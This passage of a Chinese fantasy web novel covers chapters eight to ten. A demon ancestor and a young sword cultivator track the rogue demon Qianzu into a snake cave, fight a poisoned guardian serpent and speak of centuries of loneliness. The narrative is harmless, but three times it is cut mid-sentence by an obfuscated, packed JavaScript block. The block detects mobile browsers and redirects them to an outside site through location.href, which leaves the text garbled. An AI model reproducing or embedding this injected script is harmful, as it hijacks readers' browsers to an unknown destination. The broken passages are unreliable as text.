一群当事人里只有林鹤眠不知内情,而最了解内情的两个人此时却开玩笑说要夸林鹤眠,其他老祖哪敢真夸啊,只能跟风说“对啊确实该夸”“这孩子志存高远,真不错啊”“小子有志气”之类的话。 林鹤眠嘴角抽搐,他硬是从这些赞美之词里听出一种念悼词的感觉,他觉得自己现在不应该站着,应该找副棺材躺着。 “那个……”林鹤眠受不了这种一群老祖给他办丧的氛围,指了指外面有些阴黑的天,试探性的开口说:“各位老祖,牌位也送到了,一会怕是要下雨,我们还要去除妖,能不能……” “要离开是吧?快回去吧,别淋着了,这雨怕是不小,别耽误除妖。” 最后一个牌位上飘着的灵识不等林鹤眠说完就开口了,他巴不得这俩人赶紧走,尤其是谢松意。 林鹤眠:“……” 他感觉这位老祖像是在赶瘟神。 谢松意总能看出他在想什么,便笑道:“您赶瘟神呢这是,巴不得我们走,我们是什么很人嫌狗不理的存在么?” 林鹤眠白谢松意一眼,心说你骂自己就算了别带上我! 急着让这俩祖宗赶紧走的那位老祖心说鹤眠这孩子倒没什么,主要是你啊,瘟神见了都要避让三分,二位爷你们赶紧走吧! 谢行错看出这位老祖的为难,但也没再说什么,只是笑着说:“好了,松意,你们既然有事要做,就快些回去吧,别耽搁了。” “行吧,听你的。” 谢松意别人的话不怎么听,谢行错的倒是经常听。谢行错这么一说,他也就不再逗留,只是拱手拜别,道:“告辞。” 谢行错笑着点头,待他收了笑,谢松意与林鹤眠早没了踪影。 二人眨眼间便回了客栈,店内依旧空无一人,碰巧老板在清点银两,见他们回来,忙招呼二人过来,道:“来的正好,看看这些银子够不够。” 林鹤眠看着那一盘银锭和两盘碎银,又看向谢松意,谢松意扶额:“我是去拜长生,不是去买地皮。” “嗨,你就拿着吧。” 老板收起托盘,将银两统统装进一个巴掌大小的锦囊中,囊中有足够容纳一座皇宫的空间,装这些银两绰绰有余。 “那些客栈老板做的就是拜长生的生意,难免会坐地起价,多带些总是好的。” “我记得泛月开的客栈在拜长生要经过的第一座山,如果你们不想花银子的话可以去她那里。” 谢松意收了锦囊,思索道:“那座山多有瘴气,毒虫也不少,想来千足也在此处。” 千足,是那只出逃小妖的名字。 “那不正巧了。”老板笑起来,“你们去拜长生,顺便除妖,紧接着就能去找泛月。这样路也赶了妖也除了,连客栈都找好了,倒能省去不少麻烦。” “这么一想确实方便。帮我找把伞,下午赶路恐怕要下雨。” “行。” 老板应声上楼,林鹤眠终于有了开口的机会,他问的问题依旧不变:“你到底是什么人?我可不信一个普通修士能把我老祖们的牌位跪裂缝,而且你和行错老祖的关系绝对不一般!” 谢松意叹气,心说我就知道你还会这么问,他抬头看向窗外阴沉的天,反问道:“你希望我是什么人?普通修士,还是……妖?” 林鹤眠听到最后三个字时,抬眸看向谢松意,眼中多了几分警惕。最终,他收回目光,道:“如果你是普通修士,那我就当交了一个朋友。” “如果我是妖呢?”谢松意嘴角勾起一抹笑意,他凤眼微眯,期待林鹤眠给出答案。 林鹤眠的声音不再那么冰冷,笑道:“那我也当是交了一个朋友,至少从你这些天的行为来看,你并无害人之心。而且,我相信老祖的眼光。” 谢松意笑着别过头去:“看来不管过了多少年,谢行错依旧好用。” 当年偶然相识,如今过了百年,也难再遇这样的人。 天依旧阴着。 谢松意拿了老板递来的油纸伞撑开,苍白修长的手指握着伞骨,白色伞盖上画了一枝红梅,倒和他的发带遥相呼应。 奈何天公不作美,两人出门不过一个时辰便是倾盆大雨,彼时山道湿滑,一不小心就能摔个狗啃泥。 沉闷的雷声不绝于耳,偏偏这山道树也多,要是再倒霉点,保不准还会被雷劈一下。 不过这种事一般不会出现,除非是扫把星下凡。 “我还是很好奇,你到底是怎么把我老祖的牌位跪裂的?” 林鹤眠的声音透着雨帘传来,走在他身后的谢松意收回刚才施法的手,心说因为我是长生。 不过这话肯定不能被林鹤眠听到,他索性找了个借口,道:“修为高的妖都是有威压的,有时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014047|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候即便收了威压身份也摆在那里。那些牌位说白了也就是些木头,万物有灵,它们哪里受得起我跪?” 谢松意这理由乍一听真没什么问题,毕竟修为高的妖确实有威压。 但问题在就在于,其实须臾山三百五十年前就不用有灵性的木头做牌位了。 这件事一直没说出去,导致后来的须臾山弟子也不知道,见清那老头现在还傻傻的以为山腰那片林子里全是有灵性的木头,宝贝的很,平时弟子们练剑都不让去的,生怕伤了那些树。 最麻烦的是测植物灵性的禁术被当时的皇帝收走了,方法保存在皇宫藏书阁内,那藏书阁从不给外人进,现在想知道那些木头有没有灵性都没办法测。 若林鹤眠今日在祠堂所言不假,那么他应该是当年意外被谢松意母亲的古阵波及才活到了现在,就是不知什么缘故导致古阵崩塌,林鹤眠被见清发现,这才有了被带到须臾山的机会。 他四岁那年去了须臾山,也就是说,林鹤眠被古阵波及时四岁。 谢松意突然明白林鹤眠为何要斩长生了,四岁的年纪,也该记事了。 谢松意自嘲般轻声笑了一下,抬眸望向远天,灰蒙蒙的天并没有给他好脸色,他却并不介意,也不在意听到他方才那般解释的林鹤眠的那一声“哦”,只是兀自走着,而林鹤眠也没再继续问下去。 瘴山的轮廓逐渐出现在视野之内,拜长生要过的第一座山就是瘴山,因山中常有瘴气缭绕而得名,而山中瘴气又是附近几座山毒气的来源,所以一般没人敢轻易除了这瘴气。 行在山中,错综缠绕的藤蔓里指不定会什么时候窜出一条毒蛇咬你一口,要是遇到毒性大的,可能马上就会见阎王。 不过这场雨落下来,那些毒蛇毒虫都跑没影了,倒也不用担心有被咬的风险。 不知在雨中走了多久,山道上可算看见一座亭子,二人收了伞进入歇脚,谢松意还未坐下,就听林鹤眠问道:“你准备怎么找千足。” 谢松意四下扫了一眼。 被雨雾笼罩的瘴山多了几分阴森诡异的感觉,树影婆娑,全藏在雾里,放眼望去一片灰色。 偶尔闪过几道雷光撕开天际,这才给了那看不真实的树影一瞬露出真面目的机会。 雷光倏忽而逝,一抹嫩绿也随之一闪而过,紧接着便又是灰色的树影。 谢松意不知使了什么法子,只是咳了一声,一只狼妖便冒雨赶来。 林鹤眠看到狼妖冲过来,正欲提剑起身,不料那狼妖跑到谢松意面前现出人形便停了。林鹤眠见他并无杀意,收回按着剑柄的手,又坐下去了。 狼妖见到谢松意本来是想喊祖宗的,一偏头发现祖宗身后还坐着一个修士,忙改口。 他话都说出口了,也不能收回,想到其他妖都的小弟都是叫对方主上的,就有样学样的做了个揖,硬着头皮把那个“祖”字拐成“主”字,结果没拐好,给喊成了“猪上”。 谢松意:“……” 林鹤眠没忍住,当场笑出声来。 狼妖心说要完,身上起了一层鸡皮疙瘩,他谢罪的准备都做好了,却听到谢松意说:“行了进来吧,小事而已,别被雨淋生病了。” 狼妖面上一副如履薄冰,唯唯诺诺点头的样子,实际上心里乐开了花,心说祖宗您可算会心疼人了,您小时候那个挑剔啊,差点没把我们给折磨死。 其实他祖宗本来就会心疼人,而且现在依旧挑剔,只不过狼妖这倒霉孩子不知道,以为他祖宗本性大改了,搁这里偷偷开心了半天。 8. 第八章 “帮我找一下千足。”谢松意问。 狼妖以为祖宗叫他过来是出了什么事呢,结果就是为了找个千足,当即脖子一梗,不解道:“您喊我过来就为了这个?我还以为多大的事呢。” 说完狼妖就发现自己傻逼了。 谢松意要是能自己找千足,干嘛还喊他。每种妖都有自己的找妖方法,有林鹤眠跟着,谢松意敢找就会暴露真实身份,他不冒这个险。 狼妖在心里给了自己一巴掌。 谢松意倒也不计较,没理会他这句话。待他找到千足的位置,才再度开口,问道:“在哪?” “在蛇洞里。”狼妖顿了顿,又补了一句,“嘶,没道理啊,那蛇洞被老祖宗一直封着,他怎么进去的?” “血祭。”谢松意平静的说。 血祭是一种破开封印最古老的方式。 正如谢松意之前所说,万物有灵,人类虽不能像古兽那般长生,但所具有的灵性也不是古兽所能比的,用人血祭阵,再辅以长生一族的禁术饲阵,什么阵都受不了这种恩泽,自然会破。 说白了和有灵性的牌位会被跪炸是一个原理。 狼妖被这两个字吓得一哆嗦,一直在旁边坐着没有任何表情的林鹤眠听到这两个字后也不自觉的瞪大双眼,他突然想起什么似的看向谢松意。 谢松意注意到有目光落在自己脸上,顺着目光投来的方向望去,发现林鹤眠正惊愕的看着自己。 谢松意依旧十分平静,他收了目光看向狼妖,道:“不然你以为我为何让你帮我找千足?我还没闲到看谁不顺眼就来杀谁的地步,不过这只能算其中一个原因。” 林鹤眠闻言,嘴唇微张,似乎想说什么,但终究没说出来。他收了目光,偏过头看雨去了。 “那我带您过去?”狼妖试探性的询问。 “不用。”谢松意摇头,撑起伞要走,“我们两个去就行了。” 狼妖暗自感慨不愧是祖宗,除妖真积极,来亭子里落脚就为了让他找个千足,一点歇息时间都不给自己留。 谢松意抬脚要走,忽然想起什么似的向后看去,林鹤眠早已起身,他拿了伞走到谢松意身边,偏头道:“不走?” “走。” 谢松意回了一个字便踏出亭子,林鹤眠紧随其后。 狼妖看着两人,默默收回刚才的话。 看来不止是祖宗除妖积极,这个小修士也是。 蛇洞,顾名思义,洞里全是蛇,还是带毒的,连去蛇洞的路上也有一堆毒蛇窝。 前者不要紧,至于后者,进洞之前不服点避毒丸什么的,进去了就是给蛇做慈善,保准让你完完整整的竖着进去,被咬成筛子横着出来。 但林鹤眠头铁,谢松意有身份摆在那里,他俩一个是不怕蛇咬,一个是蛇不敢咬。 单独进来还好,走在一起那些蛇就只能眼睁睁的看着食物在自己面前晃来晃去。 所有蛇那叫一个恨。 临近蛇洞,有一条不怕死的蛇,身体在树枝上缠了几圈,尾巴垂下来,然后猛地砸向林鹤眠。 它都算好了,砸到林鹤眠的时候身体松开树枝,佯装树枝太滑自己不小心落下来了,然后趁机咬林鹤眠一口。 一切都很意外。 它很意外的砸到林鹤眠,很意外的咬了林鹤眠一口,只要它咬死是意外,谢松意没证据也不能拿他怎么样。 真是蛇心险恶。 奈何梦想很美好,现实很残酷。 林鹤眠反应灵敏,在它砸下来的瞬间便躲开了,蛇扑了个空,心有不忿,但奈何谢松意在一旁,它只能憋着。 谢松意看穿了他的把戏,却只是扫了他一眼,继续走向蛇洞,快进去时,谢松意突然说了一句:“再不老实我今晚吃蛇羹。” 林鹤眠被这句话整的摸不着头脑,但很快便反应过来。 他以为刚才那条蛇落下来是意外,现在看来,那分明是害人未遂! 不过这蛇低估了他的能力,是个有脑子但不多的。 林鹤眠默默对蛇先生的行为做出点评。 某条笨蛇被谢松意那句话吓得直起了身子,两颗黑不溜秋的小眼珠子瞪得死大,然后眼睁睁的看着林鹤眠和谢松意进了蛇洞。 蛇洞阴暗,林鹤眠和谢松意收了伞,一人一妖在各自的掌心燃起一撮小火苗探路。 火苗微弱的光芒在阴暗洞里堪比平地升起一座山,十分引蛇注目。 错综盘虬的树根透过头顶的山石扎进来,无数条蛇被火光吸引,纷纷窜出来看看是谁来送死。 蛇洞里的蛇都是成精的,它们不看不知道一看吓一跳,祖宗带了一个修士过来,那送死的就只能是蛇洞里练毒那位了。 “祖宗来除妖了。” “除的好,千足占着咱的洞好几年了,我巴不得他死呢。” “这小修士长得细皮嫩肉的,我真想咬他一口。” “没出息!你咬祖宗,咬一口能少修炼四五百年,当然也可能以后都不用修炼。” “你有出息,你去咬给我看看。” “我不去。” “都别吵了。千足这段时间正练新毒呢,这小修士也不知道有没有吃避毒丸,不吃得死。” “他活脱脱一个行走的大毒物,没一百颗避毒丸不行。” “一百颗,人还没被毒死先被撑死了。” 洞里的蛇讨论的热火朝天,林鹤眠听不到他们的对话,但谢松意可以。 听到林鹤眠被撑死这句话,他终于忍不住了,抬头扫一眼树根上密密麻麻的蛇,虽然并未动嘴,声音却传了过去。 “你们很吵。” “我们闭嘴。” 所有蛇整齐划一的用尾巴当手在嘴边画了一条线,那场面,还挺……震撼? 林鹤眠说不出是什么感觉,因为他一抬头就看到一群蛇齐刷刷的用尾巴画线,他用一种看傻子的眼神看了那群蛇一眼,最后一言难尽的收回目光。 目光刚落下,山洞里便传来一声巨响,一个粗大的身影赫然映入眼帘。 山洞空间有限,那条巨蟒横亘在林鹤眠和谢松意面前,完全挡住了去路。 巨大的蛇尾扫过来,二人闪身躲开,确保掌心火苗依旧不灭。 林鹤眠握紧手中的剑,刚想冲上去却在看清蛇的面容后愣在原地,树根上那些蛇精则跑的没了踪影。 只见那条白色巨蟒的蛇鳞坚硬光滑,一双血红色竖瞳犹如红烛上跃动的火苗,摄人心魄却又带着一丝高傲,令人望而生畏。 最显眼的是它眉心那个盘旋着的红色花纹,花纹像一簇欲燃的火苗,将燃未燃,是个修士都看得出来这是烟帐山的镇宗毒兽。 谢松意也知道,但当务之急是打巨蟒,他二话不说就施法。强大的妖力自谢松意体内倾泻而出,巨蟒也不甘示弱,口中喷出一股绿色毒气。 林鹤眠下意识收了剑掩住口鼻,还不忘召出知玄,也不知给知玄传了什么话,知玄在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014048|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓厚的雾气中点点头,便飞走了。 谢松意的妖力刺破毒气形成的浓雾,巨蟒偏头躲过,却在偏头的瞬间被一把匕首刺到左眼。 谢松意等的就是这一躲,它朝哪里偏头,他就打哪里。 “别打死了!”林鹤眠出声制止。 这镇宗毒兽出现在此处,说明烟帐山有同千足勾结的嫌疑。 若当真勾结,这镇宗毒兽一死,烟帐山掌门那边肯定会有反应,甚至可以立刻追查到他。 他师父还在烟帐山和各总掌门商讨通天墟相关事宜呢,若是被自己连累了,谁知道烟帐山会对他老人家做什么。 谢松意也本无杀它的意思,收回匕首,笼在四周的毒气便散去了,巨蟒一声嘶吼,被伤到的左眼不断流出黑血。 他被谢松意的举动激怒,长啸一声,巨大的身躯猛地一颤,眉心的红色花纹竟四散着流到身体各处,水一般融进了巨蟒的身体。 巨蟒瞳仁呈现出更加诡异的猩红色,额顶也多了一个红色尖角,原本白色的外表变成暗红色,看起来十分怪异。 山洞猛地晃动起来,洞里的蛇精个个精明的很,见势不妙忙逃出山洞。 狼妖听到巨蟒的声音知道这边出事了,便朝这边赶过来,路上还不忘双手合十祈祷谢松意快点把事情解决,他那些蛇小弟全在这里,可能不死了。 “我知道你师父在烟帐山。”谢松意回道。 言下之意我不会杀了它。 林鹤眠闻言长舒一口气,悬着的心是放下了,只是这蛇怎么解决是个问题。 因为刚才的震动,山洞落下不少石块,出口完全被堵住了。但顶上树根攀附的石块落下来,倒是给这阴暗的山洞打开一个缺口。 雨已经停了,一缕阳光刺破云层落下来,山洞内的视线变得清晰明朗起来,山石沟壑看得一清二楚,二人便收了掌心的火苗。 因为光线的缘故,巨蟒本来暗红色的外表变成了鲜红色,活像把刚取出来的人血抹了上去。太阳一照,那鲜血中隐隐能看出有金色纹路在闪烁。 谢松意瞳孔骤然放大,林鹤眠意识到他不对劲,神情凝重的看向他,发现谢松意直勾勾的盯着眼前的巨蟒,自己的目光在他脸上扫了个来回都不在意。 林鹤眠顺着他的目光看过去,发现巨蟒身上竟能看出金色的纹路。 巨蟒被这突然透进来的阳光惊了一下,但很快便恢复如初,它又是一声嘶吼,洞里乌压压飞出一堆毒虫。 不及靠近二人,便纷纷喷出一口毒气,绿色的毒气萦绕在二人周围,林鹤眠抬手掩住口鼻,奈何毒气遮住视线,他看不清对面的巨蟒在做什么。 只听见一道利箭破风的声音,紧接着谢松意的胳膊便伸过来,抬手替他打落了飞来的毒刺。 林鹤眠环顾四周,方才的毒虫他都见过,那些都是烟帐山的,所以可以确定烟帐山同千足有勾结。 他既然发现了这一层关系,理应要被对方杀了才是,可这些毒虫仿佛只是来走过场的,表明身份就走。 即便是吐毒气,其实也就是象征性的帮一下场子,吐完毒气就飞回去了,只留下那只镇宗毒兽。 林鹤眠还想再细究其中原因,不料脑袋突然发晕,他一个没站稳,险些栽了跟头,得亏谢松意及时扶住他。 他摇头示意自己并无大碍,却发现谢松意依旧不肯松手,甚至蹙起眉头,紧接着,他听到一声轻叹。 “你休息吧,我来对付千足就够了。” 9. 第九章 其实谢松意杀千足比吃饭喝水都简单,但现在还不宜表现出这么强的妖力,他打架时只能收着。 但把林鹤眠留在这里,他就会方便很多,当然,也方便和千足说些林鹤眠不该听的话。 林鹤眠当然不会同意,一听谢松意要把自己留在这里,当即直起身子表示自己并无大碍,想让谢松意收回刚才的话。 不过谢松意这次是下了决心的,见他逞强,劝道:“你师父那边你得抽空回去看一下。若今日在这里出了什么差错,将来被他老人家知道了,难免要担心。” 几句话让林鹤眠乖乖留在原地了。 他确实要抽空去看见清,毕竟不知道烟帐山的人会做什么,还是亲眼看看为好。 师父最疼的就是自己,他若是在这里出了什么差错,师父知道了,难免是要担心的。 “小心!” 赶来的狼妖一声大喊,施法击落飞来的毒针,巨蟒尾巴一扫,谢松意便又蹙起眉头,它不由得动作一僵,似乎被什么东西震慑住了。 萦绕在二人身边的毒气也再度散去,巨蟒丝丝的吐着蛇信子,却没再发动攻击。 谢松意看向狼妖,问道:“你能对付它么?” 狼妖扫巨蟒一眼,眉眼一弯便笑起来,颇为得意的指着自己说:“我可是瘴山第三强的妖,打不过他我那些小弟全给您。” 彼时林鹤眠已经能站稳,谢松意二话不说就走了。 山洞深处依旧黑暗,他的掌心再度燃起一团火,窜动的火苗散发出微弱的橙黄色暖光,巨大的身影投在石壁上。 不知走了多久,眼前豁然开朗,洞内燃起的烛火明亮温暖,一只身着黑袍的妖端坐在最中间的石台上,脚下是爬了满地的毒虫,还有一条并未被练成毒兽的白蛇。 谢松意施法设置了一道隔绝所有声音的屏障,这样可以保证他和千足的话不会被任何人或妖听到。 随后,他俯下身子伸出胳膊,地上的毒虫纷纷避让,白蛇却顺着他的胳膊爬了上去,落进袖子里,然后钻进袖袋中乖乖待着了。 石台上的妖转过身,见来者是谢松意,嘴角勾起一抹笑,谢松意看得清清楚楚,他脸上多了一块黑色的蝎形图案。 “你以前不这样。”谢松意似是轻叹似是感慨,他低头看向千足,半垂的眸子里看不出是何情绪。 “以前?”千足仿佛听到了什么天大的笑话,他放声大笑,声音中带着几分沙哑,“你也说是以前了,你还能指望现在的我像以前那样么?” “别天真了,我的祖宗!”千足突然起身飞到谢松意面前,身上毒气四溢,却并未影响谢松意。 “像以前一样有什么好处,被灭族还是带着仅剩的族人苟延残喘?” 千足死死盯着谢松意,眼神淬了毒般,仿佛要勾下他一块肉来。 可千足并没盯多久,他早就知道谢松意会来杀他,可他不在乎,该做的已经做完了,自己是死是活不重要了,烟帐山的人早晚会陪自己下地狱的,黄泉路上那么多伴,他很知足了。 千足愤恨的转过身,他在为谢松意的不争生气。 “当年不过是族中出了几个叛徒,他们烟帐山便迫不及待的要剿灭我们所有妖,若不是他们,我父母又怎么会死?” 谢松意不为所动。 他有自己的标准和底线,无论千足说什么,都不会影响自己。 他依旧很平静,其实他很多年没生气了,愤怒是什么感觉,他早忘了。 千足依旧愤懑不平:“当年第一个提出要剿灭所有妖的宗门就是烟帐山!他害死我们那么多族人,我不会让他的后人好过,谁都别想全身而退!” “这就是你把阿玉练成毒兽和烟帐山的镇宗毒兽融为一体的理由?” “谁让她是一只弱小的蛇妖,若非她的黄金瞳还有些用处,早被我拿去喂毒虫了,哪来的机会和这镇宗毒兽融为一体。” 谢松意抿了抿唇,落在千足身上的目光中竟有一丝怜悯,他知道,眼前的千足已然成了一个疯子。 “疯子。” 千足又笑起来,笑声狷狂,满是不屑:“只要能报仇,我疯了又有什么关系?那些毒物你也看到了,烟帐山和我勾结一事也会败露的,我可是给他们准备了一份大礼!” “我要让他们也体会一下,被千夫所指灭得全族不剩的滋味!” 千足突然咳出一口黑血,他的意识开始模糊,连站都站不稳。 他在一阵天旋地转中指着谢松意点了好几下,似是喝醉了一般:“你,还有君亭和泛月,你们一个比一个可笑!” “君亭更可笑!自己都感情不全,居然还会爱上一个人类,还同意嫁给他,真是我听过最大的笑话!” 千足突然“呕”了一声,毒虫从他体内涌出,七窍也开始流出黑血,谢松意没再说什么,只是发出一声轻叹便走了。 谢松意刚撤了屏障,千足突然大喊:“谢松意,我在替你报仇!” 谢松意脚步微顿,瞥了一眼身后已经躺在地上千足,苦笑起来,回道:“我不需要。” 我不需要你以替我报仇的名义残杀无辜,我的仇,早就报完了。 千足没了气息,自然也没回他。他心口处涌出的毒虫越来越多,密密麻麻聚在一起,看得人起鸡皮疙瘩。 狼妖那边还在打,牛皮吹大了收不回来,谢松意也并不指望他能打死巨蟒,一旁观战休息的林鹤眠见他出来,忙将簪子扔了过去。 谢松意接过簪子,白玉长剑在掌中化形,一剑封喉,刺穿了巨蟒的脑袋。 巨蟒晃了几下便倒地不起,尸体也化成了灰烬。 谢松意扫了林鹤眠一眼,冲狼妖道:“给泛月传音,说我们过几天便赶过去,让她提前备好解千足妖毒的药。” “好嘞。” 狼妖捏了个传音蝶,将蝴蝶放飞后便凑到谢松意面前,林鹤眠也凑了过去。 谢松意进山前施法护住了他,即便中毒也影响不大,撑到走到泛月的客栈还是绰绰有余的。 “这山中瘴气,过于浓厚了。”谢松意一挥手,山中瘴气顷刻间散的无影无踪,再聚起来时,只有薄薄一层,云烟缭绕般笼在四周。 瘴气变少,林鹤眠的状态也好了不少。 赶去客栈的路上除去吃喝要动嘴,叽里呱啦能说一堆话,说的最多的还是刚才杀巨蟒那招能不能教教我。 谢松意无奈,回了一句:“你不是天生剑胚,你是天生剑痴。” 跟在一旁的狼妖捂嘴偷笑,林鹤眠瞥他一眼,他马上把笑收回去了。 原本只要两天就能走到泛月开客栈的地方,奈何林鹤眠突然毒发,这一发,耽误了大半天的行程。 这毒发的蹊跷,谢松意无奈,找了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014049|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山洞在洞里将自己的妖力渡给林鹤眠强行压着千足的毒。 渡妖力哪有这么简单,林鹤眠体内灵力和妖力相冲,渡起来疼的要死。 狼妖在外面给二人护法,守了整整两个时辰,中午又没吃东西,肚子都饿扁了。 大约又过了一个时辰,谢松意终于从山洞里走出来,他脸色不是很好,却也没说歇息,只是让狼妖去找些吃的。 说完又回了山洞,洞里的林鹤眠正在调息,以此试着平衡妖力与灵力。 见谢松意回来,问道:“狼妖呢?” 谢松意倚着一处较为干净的石壁闭目养神,闻言只是回了一句:“我让他去找吃的了,你休息一下吧,估计是受瘴气影响才毒发的,有我的妖力暂时压着出不了什么事。” 林鹤眠正准备收回目光,却发现谢松意闭了眼,他似乎很累。 谢松意当然累,不过这不是主要原因。 他只是觉得,物是人非,原来这么早就会出现在他身上,他不喜欢这样。 千足说他们很可笑,或许在他看来确实可笑,他知道千足在为他们的行为感到不争和愤怒,可他没办法去劝其中任何一位报仇。 他们不仅不报仇,甚至还出现了一只爱上人类的妖,这对千足来说无疑是天大的笑话。 可他只是在以偏概全罢了。 那位将军从未参与灭族一事,甚至此事是在他死后才发生的,他不应该承担这个罪名,没这样的道理。 谢松意脑海中忽然响起那句“谢松意,我在替你报仇”,他下意识的睁开眼,眼前却只有灰扑扑的石壁。 “你是不是累了?”林鹤眠见他闭目养神都养不安稳,不由得开口问了一句。 谢松意只是摇头:“你多虑了。” “是么。”林鹤眠坐在一块凸起的石头上,嘴上也没闲着,“既然你和行错老祖认识,那应该也有三百多岁了吧?” “三百五十四。” “那个……”林鹤眠有些不好意思的开口,“其实我在洞外隐约听到了千足说他在替你报仇,你们以前认识么?” “认识。”谢松意顿了顿,又补了一句,“他以前不这样,后来失去的太多了,就变成这样了。” “因为剿灭长生?” “剿灭长生”四个字刚说出口,谢松意就突然扭头盯着林鹤眠,林鹤眠干笑两声,解释道:“书上说这次围剿也波及到了不少无辜的妖,所以我就问问,你不想说也没什么。” 谢松意叹了口气,他将目光重新落到遥远的天际。 他抿抿唇,良久,才缓缓开口:“确实波及到了很多无辜的妖。” 他的亲人、朋友,一个没落。 林鹤眠低下头,眸子里的情绪让人看不分明。他大约能猜到,谢松意的遭遇和他差不多。 亲人朋友全部离他而去,只剩自己。 可他又是幸运的,在阵中沉睡了三百年,醒来又遇到一个给了他容身之处的师父。 但谢松意没有,他似乎一直是一个人,三百年的时光,足够磨掉一个人的情感,抹消他的存在。 “这些年你一直是一个人?” 山洞里冷不丁落下这句话,谢松意脸上没有任何情绪变化,只是轻微点头。 “你……”林鹤眠顿了顿,最终还是开口了,“孤独么?” 谢松意微怔。 10. 第十章 三百多年,从来没人这么问过他。 他孤独么?他当然孤独,可早就习惯了。 对他而言,孤独或许要比有人陪伴更好——至少他现在这么认为。 “习惯了。” 林鹤眠没料到谢松意会这么回答,他的心突然像是被什么东西扎了一下,不是很疼,但鼻子有些酸涩。 在他看来,谢松意这样的妖,不应该这样。 不求善恶皆有报,但求无辜者终生美满,不被飞来横祸波及。 独自走过百年孤寂不应该是谢松意的一生,他应该和家人团聚,或是在山野之中,或是市井巷陌,但无论如何都不该是现在这样。 三百多年的孤寂,他却只是说了一句“习惯了”,那十万多个孤身一人的日子,被他短短三个字就揭了过去。 不应该是这样的。 “你是不是觉得,我不应该这样?” 林鹤眠猛地抬起头,他竟然忘了,谢松意总能看穿他的想法。 他盯着谢松意的眸子,死死咬住下唇,他想说很多话,但绕来绕去都是替谢松意觉得不公,始终不知道如何开口。 说不公平么? 谢松意当然知道这不公平,他不需要说。 “谁都觉得我不该这样,老板、千足还有泛月。可事情已经发生了,我改变不了什么。百年也好万年也罢,对我而言不过是又过了几次四季轮回,皇帝又换了几个。” “但我也不会袖手旁观,当该付出代价的人将代价一一偿还后,我真正的一生才算正式开始。” “你要找的长生也在偿还者之列?” “他偷了我的东西,我要取回来。” 西沉的太阳又收回一束光线,洞内变得更加昏暗,谢松意抬脚要走,林鹤眠忙起身跟上,在他身侧道:“我帮你。” 谢松意扶了一把有些站不稳的林鹤眠,笑道:“帮我之前先把你的身体养好再说。” “一定一定。”林鹤眠也笑着回了一句。 他是真笑,而谢松意虽然面上笑着,实际上心情并不是很好,还是刚才那种烦躁郁闷的状态。 狼妖见谢松意扶着林鹤眠出来,只顾着邀功了,完全没注意谢松意的脸色,拿着一只被扒了皮的兔子就怼到谢松意脸上。 谢松意本来就心情不好,狼妖这么一怼,面前悬着一只脏兮兮的兔子,鲜血和泥水混做一团,甚至正在往下滴水,他心情更不好了。 他不自觉的蹙眉,满脸嫌弃:“要么带着你的兔子滚,要么兔子滚了你留下。” “别啊,难得有口吃的。” 狼妖和林鹤眠几乎是同时出声,林鹤眠抢着说:“洗洗还能吃呢,那不是有条河嘛,咱洗一下。” 谢松意冷笑一声,显然是无法接受这种东西入口,他努力让自己的说话声音轻柔些,问狼妖:“你到底是怎么做到扒个兔子皮扒成这样的?” “那个……”狼妖不好意思的挠挠头,“我说这是个意外您信么?” “就是……我扒完皮准备去找树枝搭篝火架,结果刚回来就看到一只苍鹰叼着兔子刚飞走,我施法让他松口,结果兔子掉河滩了。 “我刚准备洗,您就过来了,我就想着拿过来给您看看,然后就是这样子了。” 谢松意:“那还真是挺意外的。” 狼妖两手一摊,委屈的撅起嘴:“我也没办法啊,您真的不吃?” “不吃!” 林鹤眠甩开谢松意的手,抓住兔腿准备去河边清洗:“你不吃我们吃。” “就是。”狼妖小声嘟囔了一句,他不敢太大声。 谢松意没理会二人,就站在一旁看他们洗兔子、生火、烤兔子。 站累了,就把银杏果扔地上,倚着银杏树看他们。看得久了眼睛也累,索性再次闭目养神。 一股焦香萦绕在鼻尖,谢松意睁开眼,发现林鹤眠正举着烤兔子在他面前晃。 “你真的不来一口?”林鹤眠试探性的开口。 谢松意别过头:“不吃。” “你不饿么,不吃兔子你吃什么?” “我吃人。” 林鹤眠:“……” 不吃就算了! 狼妖见林鹤眠被泼了一盆冷水回来了,笑道:“林少侠,我们妖其实可以不吃那些五谷杂粮和鱼肉荤腥的,祖宗当年就是这么过来的,他们一家子都不吃这些。” 林鹤眠挑眉,人已经坐回了篝火旁:“祖宗?” “哦,祖宗是我们妖界的统治者,就是长生。” 话音刚落,狼妖忙扇了自己一巴掌。 他伸出脖子偷偷瞟谢松意一眼,反复确认对方没用眼刀扎死自己后才把脖子缩回去。 林鹤眠并没有发现他这一举动,只是撕下一条兔腿递给他,自己则吃另一条腿,剩下的肉依旧放在架子上。 